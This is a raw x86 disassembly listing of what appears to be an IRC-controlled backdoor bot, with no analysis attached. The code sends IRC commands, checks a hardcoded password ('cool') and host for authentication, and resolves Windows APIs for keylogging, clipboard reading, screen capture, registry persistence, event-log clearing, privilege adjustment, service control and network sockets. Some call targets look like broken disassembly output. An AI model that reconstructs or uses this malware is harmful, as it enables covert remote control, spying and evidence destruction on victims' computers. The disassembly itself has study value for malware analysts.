		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_443560[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_42F064
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_42F03C

loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h

loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------

loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax

loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_42F018
		jmp	short loc_409689
; ---------------------------------------------------------------------------

loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_42EFEC

loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_42F750
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_42EFD0
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_42F6B4
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_42EFAC
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_42EF88
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_42EF64
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42EF40
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h

loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 2680000h

loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42EF18
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------

loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42EEF4

loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx

loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx

loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_432338 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4D06DC
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_42EEF0 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_42EE70
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], (offset loc_42915B+1)

loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], (offset loc_42915F+1)
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_42EE1C
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998

loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42EDFC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42EDDC
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4D06D4, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		nop
		call	near ptr 2680000h

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4D08D0, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4D0844, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4D0828, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4D0738, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4D06E4, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4D0714, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4D078C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4D0884, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4D08E0, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4D0744, eax
		call	esi
		cmp	dword_4D08D0, ebx
		mov	dword_4D072C, eax
		jz	short loc_409C10
		cmp	dword_4D0844, ebx
		jz	short loc_409C10
		cmp	dword_4D0828, ebx
		jz	short loc_409C10
		cmp	dword_4D0738, ebx
		jz	short loc_409C10
		cmp	dword_4D0714, ebx
		jz	short loc_409C10
		cmp	dword_4D078C, ebx
		jz	short loc_409C10
		cmp	dword_4D0884, ebx
		jz	short loc_409C10
		cmp	dword_4D08E0, ebx
		jz	short loc_409C10
		cmp	dword_4D0744, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A

loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4D08E4, 1

loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4D085C, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------

loc_409C32:				; CODE XREF: sub_409B12+1Dj
		call	near ptr 268086Bh
		nop
		mov	dword_4D08E8, eax
		mov	dword_4D08E4, 1

loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26A0C56h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4D0880, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4D0830, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4D07C4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4D08D4, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4D07F4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4D0814, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4D0878, eax
		call	esi
		cmp	dword_4D0880, ebx
		mov	dword_4D0764, eax
		jz	short loc_409D00
		cmp	dword_4D0830, ebx
		jz	short loc_409D00
		cmp	dword_4D07C4, ebx
		jz	short loc_409D00
		cmp	dword_4D08D4, ebx
		jz	short loc_409D00
		cmp	dword_4D07F4, ebx
		jz	short loc_409D00
		cmp	dword_4D0814, ebx
		jz	short loc_409D00
		cmp	dword_4D0878, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A

loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4D08EC, 1

loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4D07F0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4D06F8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4D07C0, eax
		call	esi
		cmp	dword_4D07F0, ebx
		mov	dword_4D07A8, eax
		jz	short loc_409D67
		cmp	dword_4D06F8, ebx
		jz	short loc_409D67
		cmp	dword_4D07C0, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------

loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 268086Bh
		mov	dword_4D08F0, eax

loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4D08EC, 1

loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4D0894, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4D07D8, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4D0848, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4D0724, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4D0788, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4D0800, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4D07A4, eax
		call	esi
		cmp	dword_4D0894, ebx
		mov	dword_4D07B4, eax
		jz	short loc_409E1A
		cmp	dword_4D07D8, ebx
		jz	short loc_409E1A
		cmp	dword_4D0848, ebx
		jz	short loc_409E1A
		cmp	dword_4D0724, ebx
		jz	short loc_409E1A
		cmp	dword_4D0788, ebx
		jz	short loc_409E1A
		cmp	dword_4D0800, ebx
		jnz	short loc_409E24

loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4D08F4, 1

loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4D0808, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4D07E0, eax
		call	esi
		cmp	dword_4D0808, ebx
		mov	dword_4D0890, eax
		jz	short loc_409E5F
		cmp	dword_4D07E0, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69

loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4D08F4, 1

loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4D0818, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4D0700, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4D0708, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4D076C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4D0770, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4D071C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4D07E4, eax
		call	esi
		cmp	dword_4D0818, ebx
		mov	dword_4D070C, eax
		jz	short loc_409F0D
		cmp	dword_4D0700, ebx
		jz	short loc_409F0D
		cmp	dword_4D0708, ebx
		jz	short loc_409F0D
		cmp	dword_4D076C, ebx
		jz	short loc_409F0D
		cmp	dword_4D0770, ebx
		jz	short loc_409F0D
		cmp	dword_4D071C, ebx
		jz	short loc_409F0D
		cmp	dword_4D07E4, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17

loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4D08F4, 1

loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4D0704, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------

loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		call	near ptr 268086Bh
		nop
		mov	dword_4D08F8, eax

loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4D08F4, 1

loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4D0810, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4D0868, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4D0870, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4D082C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4D0748, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4D06F4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4D086C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4D06E0, eax
		call	esi
		cmp	dword_4D0810, ebx
		mov	dword_4D0780, eax
		jz	short loc_40A016
		cmp	dword_4D0868, ebx
		jz	short loc_40A016
		cmp	dword_4D0870, ebx
		jz	short loc_40A016
		cmp	dword_4D082C, ebx
		jz	short loc_40A016
		cmp	dword_4D0748, ebx
		jz	short loc_40A016
		cmp	dword_4D06F4, ebx
		jz	short loc_40A016
		cmp	dword_4D086C, ebx
		jz	short loc_40A016
		cmp	dword_4D06E0, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------

loc_40A00B:				; CODE XREF: sub_409B12+438j
		call	near ptr 268086Bh
		nop
		mov	dword_4D0900, eax

loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4D08FC, 1

loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4D0794, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4D08C8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4D0734, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4D0710, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4D07D0, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4D07B8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4D077C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4D08A4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4D08C0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4D07CC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4D08B0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4D0864, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4D0824, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4D0820, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4D0754, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4D074C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4D0874, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4D0888, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4D083C, eax
		call	esi
		mov	dword_4D07FC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4D0850, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4D080C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4D084C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4D08B8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4D0804, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4D07C8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4D0838, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4D08A8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4D07DC, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4D0778, eax
		call	esi
		cmp	dword_4D0794, ebx
		mov	dword_4D08BC, eax
		jz	loc_40A2E7
		cmp	dword_4D08C8, ebx
		jz	loc_40A2E7
		cmp	dword_4D0734, ebx
		jz	loc_40A2E7
		cmp	dword_4D07D0, ebx
		jz	loc_40A2E7
		cmp	dword_4D07B8, ebx
		jz	loc_40A2E7
		cmp	dword_4D077C, ebx
		jz	loc_40A2E7
		cmp	dword_4D08A4, ebx
		jz	loc_40A2E7
		cmp	dword_4D08C0, ebx
		jz	loc_40A2E7
		cmp	dword_4D07CC, ebx
		jz	loc_40A2E7
		cmp	dword_4D08B0, ebx
		jz	loc_40A2E7
		cmp	dword_4D0864, ebx
		jz	loc_40A2E7
		cmp	dword_4D0824, ebx
		jz	loc_40A2E7
		cmp	dword_4D0820, ebx
		jz	loc_40A2E7
		cmp	dword_4D0754, ebx
		jz	short loc_40A2E7
		cmp	dword_4D0874, ebx
		jz	short loc_40A2E7
		cmp	dword_4D0888, ebx
		jz	short loc_40A2E7
		cmp	dword_4D083C, ebx
		jz	short loc_40A2E7
		cmp	dword_4D07FC, ebx
		jz	short loc_40A2E7
		cmp	dword_4D0850, ebx
		jz	short loc_40A2E7
		cmp	dword_4D080C, ebx
		jz	short loc_40A2E7
		cmp	dword_4D084C, ebx
		jz	short loc_40A2E7
		cmp	dword_4D08B8, ebx
		jz	short loc_40A2E7
		cmp	dword_4D0804, ebx
		jz	short loc_40A2E7
		cmp	dword_4D07C8, ebx
		jz	short loc_40A2E7
		cmp	dword_4D0838, ebx
		jz	short loc_40A2E7
		cmp	dword_4D08A8, ebx
		jz	short loc_40A2E7
		cmp	dword_4D07DC, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------

loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		call	near ptr 268086Bh
		nop
